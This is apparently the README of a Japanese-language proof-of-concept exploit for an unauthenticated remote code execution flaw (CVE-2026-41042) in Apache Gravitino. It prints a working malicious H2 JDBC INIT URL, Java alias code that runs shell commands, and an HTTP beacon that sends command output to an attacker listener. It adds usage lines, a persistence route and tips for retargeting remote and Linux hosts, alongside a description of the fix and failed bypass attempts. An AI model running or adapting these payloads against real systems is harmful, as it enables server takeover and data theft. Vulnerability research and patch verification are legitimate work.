
Apache Gravitino < 1.2.1 の未認証RCEを H2 JDBC INIT 経由で悪用します。SQL/Javaペイロードをホストし、コマンドを実行し、HTTPビーコンを介して出力を外部へ窃取します。
CVE-2026-41042 の自己完結型・標準ライブラリのみの概念実証(PoC):Apache Gravitino 1.2.1 以前における、H2 JDBC の INIT 接続設定を介した認証なしのリモートコード実行。認証ヘッダー不要、追加ドライバー不要、pip install 不要。
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
このスクリプトは SQL ペイロードと出力ビーコンをホストし、testConnection リクエストを送信して、コマンドの stdout を直接出力します。
CVE は 2026-07-08 に割り当てられ、Junjie Li(西安電子科技大学)にクレジットされています。これは本件に対する最初の公開された動作する PoC です。PoC 作者:Akinlabi。
| 影響を受けるバージョン | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| 修正版 | 1.2.1 |
| アドバイザリ | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 はデフォルトのエンティティストアバックエンドとして Gravitino の libs/ に同梱されているため、H2 ドライバーはすでにサーバーのクラスパス上にあります。このエクスプロイトを機能させるために追加のドライバーをデプロイする必要はありません。
POST /api/metalakes/{metalake}/catalogs/testConnection(Jersey リソース org.apache.gravitino.server.web.rest.CatalogOperations#testConnection、application/vnd.gravitino.v1+json を生成)は CatalogCreateRequest を受け入れます。properties.jdbc-url の値は、JDBC ドライバーの検証なしにカタログプロバイダーの接続ファクトリに渡されます。
同梱の H2 ドライバー(org.h2.Driver)と H2 の INIT 接続設定を使用すると、接続時に任意の SQL が実行され、CREATE ALIAS によってサーバー上で任意の Java がコンパイル・実行されます。このエンドポイントは認証を必要としません。
要件:Python 3、標準ライブラリのみ。
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| オプション | デフォルト | 説明 |
|---|---|---|
target | (必須) | Gravitino サーバー(例:http://127.0.0.1:8090) |
--metalake | test_ml | カタログのテスト対象となるメタレイク |
--cmd | whoami | ターゲット上で実行するコマンド |
--port | 9000 | ペイロードとビーコンの HTTP サーバー用ローカルポート |
例:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
メタレイクが存在しない場合は、先に作成してください(これも認証なしです):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 上でスレッド化された HTTP サーバーを起動し、2 つのルートを提供します:/poc.sql は生成されたペイロードを配信し、/beacon?out=... はコマンド出力をキャプチャします。{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC はコマンドを実行し、その stdout を文字列として返します。BEACON はそれを HTTP 経由でリスナーに外部送信します。スクリプトはビーコンを最大 5 秒間ポーリングし、出力を表示します。
jdbc-mysql プロバイダーのドライバーバージョン確認(checkJDBCDriverVersion)は接続の初期化後に発動するため、エラーは表面的なものにすぎません:INIT はすでに実行済みです。エラーパスが実行パスなのです。実行ごとに新しいランダムなインメモリデータベース名が生成されるため(secrets.token_hex(6))、H2 エイリアスは実行間で永続化されず、毎回の実行は決定的です。
同じ悪意のある jdbc-url は POST /api/metalakes/{ml}/catalogs 経由でも機能します。これは HTTP 200 を返し、H2 の INIT URL をカタログ設定に永続化します。その後、接続を強制する任意の操作が初期化時に実行をトリガーします:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
両方のエントリポイントは同じ initialize() -> DataSourceUtils.createDataSource パスを経由するため、1.2.1 の修正は両方をカバーしています。
DataSourceUtils.createDataSource は現在、H2 の URL とドライバーをブロックします(コミット 84d3de9c7c / 5daabcd0e、1.3.0 ツリーで検証済み):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode は URLDecoder を最大 5 回実行するため、プレフィックスをパーセントエンコードしてもチェックを回避できません。JdbcUrlUtils.validateJdbcConfig(createDBCPDataSource からも呼び出される)はさらに、安全でないことが知られている MySQL/MariaDB/PostgreSQL パラメータ(autoDeserialize、allowLoadLocalInfile、socketFactory など)をブロックします。
実際の H2 1.4.200 を使用したチェックのレプリカに対してテストされたバイパス試行:先頭・末尾の空白、6 回以上のパーセントエンコード、大文字小文字やタブを使ったトリック、サフィックスのトリック、非 JDBC プロバイダー。クリーンなバイパスは見つかりませんでした。H2 ベクトルは 1.2.1 でしっかりと修正されているようです。
Apache は、H2 は開発・テスト専用であり Gravitino は通常内部利用であるとして、これを低 severity と評価しています。しかしデフォルトインストールはそれと矛盾しています:
testConnection と createCatalog は、デフォルトである gravitino.authorization.enable=false の場合、認証なしです0.0.0.0:8090 です現実的な CVSS v3.1 の推定値:~9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)。Gravitino ポートへの到達可能性に依存します。
127.0.0.1 にバインドされています。これは攻撃者とターゲットが同じホストを共有するラボ環境に適合します。リモートターゲットの場合は、make_payload() と exploit() 内の 127.0.0.1 の参照を、リスナー IP に変更してください。cmd.exe /c を実行します(Windows ラボ環境)。Linux ターゲットの場合は、new String[]{"cmd.exe", "/c", cmd} の行を /bin/sh -c に置き換えてください。createCatalog による永続化パスはこのスクリプトでは自動化されていません。上記の手動リクエストを使用してください。許可されたセキュリティテストおよび研究専用です。ここに記載されているすべての技術は、ローカルラボで開発・検証されました。あなたが所有していないシステムに対してこれを実行することは、お住まいの法域では違法となる可能性があります。